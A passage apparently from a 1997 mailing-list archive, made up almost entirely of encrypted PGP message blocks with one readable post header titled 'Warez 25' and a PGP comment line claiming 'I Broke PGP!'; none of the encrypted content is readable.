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
U1lKRpfdwrMJ1AlJR755oyJw1hjHrMttOe4u
=hI0A
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 02:21:33 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 18:21:33 +0800
Subject: Warez 25
Message-ID: <199712180933.BAA17029@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7DIrrPWiKLsFPbelrH4sIkzH6CCve+ppw+3WTQz5ZUs11xCr
/SymKkbnNjgSva93aEWoDG4Ymf4MOQcgEi8nvZMLi3PTSADfcKKYWAJLnWn/7M+d
